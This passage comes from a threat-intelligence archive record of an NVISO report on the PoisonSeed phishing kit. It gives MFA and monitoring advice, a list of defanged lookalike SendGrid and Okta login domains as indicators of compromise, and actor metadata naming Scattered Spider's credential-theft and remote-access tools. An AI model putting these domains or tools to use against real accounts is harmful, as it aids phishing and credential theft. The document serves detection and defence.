necessitating further validation. Additional searches are also provided by SilentPush.\r\nValidin\r\nHunting PoisonSeed indicators is also covered through Validin’s blog, presenting actionable pivots.\r\nPrevention Measures\r\nBelow are key recommendations for protection against PoisonSeed campaigns:\r\n1. Enhance Strong Authentication:\r\nEliminate SMS, phone call, and email authentication methods.\r\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\r\nPage 25 of 28\n\nImplement phishing-resistant MFA, like FIDO2 security keys, particularly for privileged accounts\r\nand C-Level executives.\r\nAdopt passwordless authentication, such as Windows Hello for Business, where feasible.\r\n2. Educate and Raise Awareness:\r\nEducate employees to identify and report social engineering attempts.\r\nProvide awareness training on modern-day phishing tactics.\r\nEncourage vigilance against suspicious communications and requests.\r\n3. Monitor and Detect Anomalies:\r\nEnsure comprehensive visibility across infrastructure, identity, and critical management services.\r\nEstablish alerting rules for suspicious logins, bulk email sending, and email list export activities.\r\nContinuously monitor domain registrations impersonating brands and authentication anomalies.\r\nIndicators of Compromise\r\ndevice-sendgrid[.]com\r\nnavigate-sendgrid[.]com\r\ndashboard[.]navigate-sendgrid[.]com\r\nhttps-sendgrid[.]com\r\nnetwork-sendgrid[.]com\r\nsso-sendgridnetwork[.]com\r\nterminateloginsession[.]com\r\nmysandgrid[.]com\r\ngrid-sendlogin[.]com\r\nserver-sendlogin[.]com\r\nsgaccountsettings[.]com\r\nhttps-sglogin[.]com\r\nsgsettings[.]live\r\ngsecurelogin[.]com\r\nhttps-sgpartners[.]info\r\nsecurehttps-sgservices[.]com\r\nhttps-sendgrid[.]info\r\nhttps-sgportal[.]com\r\nhttps-loginsg[.]com\r\nsgportalexecutive[.]org\r\nsg[.]usportalhelp[.]com\r\nsendgrid[.]executiveteaminvite[.]com\r\nloginportalsg[.]com\r\ngloginservicesaccount[.]com\r\nsendgrid[.]aws-us5[.]com\r\naws-us4[.]com\r\nsendgrid[.]aws-us3[.]com\r\nsendgr[.]id-unlink[.]com\r\nappeal[.]grid-secureaccount[.]com\r\nsgupgradegold[.]com\r\nsession[.]ssogservices[.]com\r\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\r\nPage 26 of 28\n\nsso-glogin[.]com\r\n1send[.]grid-sso[.]com\r\nsend[.]grid-secureaccount[.]com\r\nprovider[.]ssogservices[.]com\r\nssogservices[.]com\r\nsend[.]grid-authority[.]com\r\nsend[.]grid-network[.]com\r\nsso-gservices[.]com\r\nportal-sendgrld[.]com\r\nsso[.]portal-sendgrld[.]com\r\ndiamond[.]portal-sendgrld[.]com\r\nlogin[.]portal-sendgrld[.]com\r\nmanagerewards-cbexchange[.]com\r\ninternal-ssologin[.]com\r\nmange-accountsecurity[.]com\r\nservice-settings[.]com\r\nsecure-ssologins[.]com\r\nlegalcompliance-login[.]com\r\nservices-goo[.]com\r\nsendgrid[.]service-settings[.]com\r\nsendgrid[.]production-us12[.]com\r\nokta[.]ssologinservices[.]net\r\naws-us3-manageprod[.]com\r\nmyhubservices[.]com\r\nsignon-directory[.]com\r\nokta[.]login-enterprisesso[.]com\r\nokta[.]login-request[.]com\r\nsso-accountservices[.]com\r\nJavaScript\r\nSpecial thanks to Stef Collart, Maxime Thiebaut and Didier Stevens for reviewing this post.\r\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\r\nPage 27 of 28\n\nEfstratios Lontzetidis\r\nEfstratios is a member of the Threat Intelligence team at NVISO’s CSIRT and is mainly involved in Infrastructure\r\nHunting and Intelligence Production.\r\nSource: https://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\r\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\r\nPage 28 of 28",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MISPGALAXY",
		"Malpedia"
	],
	"references": [
		"https://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/"
	],
	"report_names": [
		"shedding-light-on-poisonseeds-phishing-kit"
	],
	"threat_actors": [
		{
			"id": "9ddc7baf-2ea7-4294-af2c-5fce1021e8e8",
			"created_at": "2023-06-23T02:04:34.386651Z",
			"updated_at": "2026-04-10T02:00:04.772256Z",
			"deleted_at": null,
			"main_name": "Muddled Libra",
			"aliases": [
				"0ktapus",
				"Scatter Swine",
				"Scattered Spider"
			],
			"source_name": "ETDA:Muddled Libra",
			"tools": [],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "7da6012f-680b-48fb-80c4-1b8cf82efb9c",
			"created_at": "2023-11-01T02:01:06.643737Z",
			"updated_at": "2026-04-10T02:00:05.340198Z",
			"deleted_at": null,
			"main_name": "Scattered Spider",
			"aliases": [
				"Scattered Spider",
				"Roasted 0ktapus",
				"Octo Tempest",
				"Storm-0875",
				"UNC3944"
			],
			"source_name": "MITRE:Scattered Spider",
			"tools": [
				"WarzoneRAT",
				"Rclone",
				"LaZagne",
				"Mimikatz",
				"Raccoon Stealer",
				"ngrok",
				"BlackCat",
				"ConnectWise"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "2864e40a-f233-4618-ac61-b03760a41cbb",
			"created_at": "2023-12-01T02:02:34.272108Z",
			"updated_at": "2026-04-10T02:00:04.97558Z",
			"deleted_at": null,
			"main_name": "WildCard",
			"aliases": [],
			"source_name": "ETDA:WildCard",
			"tools": [
				"RustDown",
				"SysJoker"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "c3b908de-3dd1-4e5d-ba24-5af8217371f0",
			"created_at": "2023-10-03T02:00:08.510742Z",
			"updated_at": "2026-04-10T02:00:03.374705Z",
			"deleted_at": null,
			"main_name": "Scattered Spider",
			"aliases": [
				"UNC3944",
				"Scattered Swine",
				"Octo Tempest",
				"DEV-0971",
				"Starfraud",
				"Muddled Libra",
				"Oktapus",
				"Scatter Swine",
				"0ktapus",
				"Storm-0971"
			],
			"source_name": "MISPGALAXY:Scattered Spider",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "d093e8d9-b093-47b8-a988-2a5cbf3ccec9",
			"created_at": "2023-10-14T02:03:13.99057Z",
			"updated_at": "2026-04-10T02:00:04.531987Z",
			"deleted_at": null,
			"main_name": "Scattered Spider",
			"aliases": [
				"0ktapus",
				"LUCR-3",
				"Muddled Libra",
				"Octo Tempest",
				"Scatter Swine",
				"Scattered Spider",
				"Star Fraud",
				"Storm-0875",
				"UNC3944"
			],
			"source_name": "ETDA:Scattered Spider",
			"tools": [
				"ADRecon",
				"AnyDesk",
				"ConnectWise",
				"DCSync",
				"FiveTran",
				"FleetDeck",
				"Govmomi",
				"Hekatomb",
				"Impacket",
				"LOLBAS",
				"LOLBins",
				"LaZagne",
				"Living off the Land",
				"Lumma Stealer",
				"LummaC2",
				"Mimikatz",
				"Ngrok",
				"PingCastle",
				"ProcDump",
				"PsExec",
				"Pulseway",
				"Pure Storage FlashArray",
				"Pure Storage FlashArray PowerShell SDK",
				"RedLine Stealer",
				"Rsocx",
				"RustDesk",
				"ScreenConnect",
				"SharpHound",
				"Socat",
				"Spidey Bot",
				"Splashtop",
				"Stealc",
				"TacticalRMM",
				"Tailscale",
				"TightVNC",
				"VIDAR",
				"Vidar Stealer",
				"WinRAR",
				"WsTunnel",
				"gosecretsdump"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "e424a2db-0f5a-4ee5-96d2-5ab16f1f3824",
			"created_at": "2024-06-19T02:03:08.062614Z",
			"updated_at": "2026-04-10T02:00:03.655475Z",
			"deleted_at": null,
			"main_name": "GOLD HARVEST",
			"aliases": [
				"Octo Tempest ",
				"Roasted 0ktapus ",
				"Scatter Swine ",
				"Scattered Spider ",
				"UNC3944 "
			],
			"source_name": "Secureworks:GOLD HARVEST",
			"tools": [
				"AnyDesk",
				"ConnectWise Control",
				"Logmein"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "256a6a2d-e8a2-4497-b399-628a7fad4b3e",
			"created_at": "2023-11-30T02:00:07.299845Z",
			"updated_at": "2026-04-10T02:00:03.484788Z",
			"deleted_at": null,
			"main_name": "WildCard",
			"aliases": [],
			"source_name": "MISPGALAXY:WildCard",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "6355663f-1a27-4a08-879a-89bc3cf2cd63",
			"created_at": "2026-02-04T02:00:03.712015Z",
			"updated_at": "2026-04-10T02:00:03.953324Z",
			"deleted_at": null,
			"main_name": "CryptoChameleon",
			"aliases": [
				"UNC5356"
			],
			"source_name": "MISPGALAXY:CryptoChameleon",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "4e9127fc-a9d2-4d6c-9596-fb729d21c2c4",
			"created_at": "2026-01-22T02:00:03.67474Z",
			"updated_at": "2026-04-10T02:00:03.925728Z",
			"deleted_at": null,
			"main_name": "PoisonSeed",
			"aliases": [],
			"source_name": "MISPGALAXY:PoisonSeed",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434291,
	"ts_updated_at": 1775792243,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/96095d8a87563b7559753949a35fd157aeaabd60.pdf",
		"text": "https://archive.orkl.eu/96095d8a87563b7559753949a35fd157aeaabd60.txt",
		"img": "https://archive.orkl.eu/96095d8a87563b7559753949a35fd157aeaabd60.jpg"
	}
}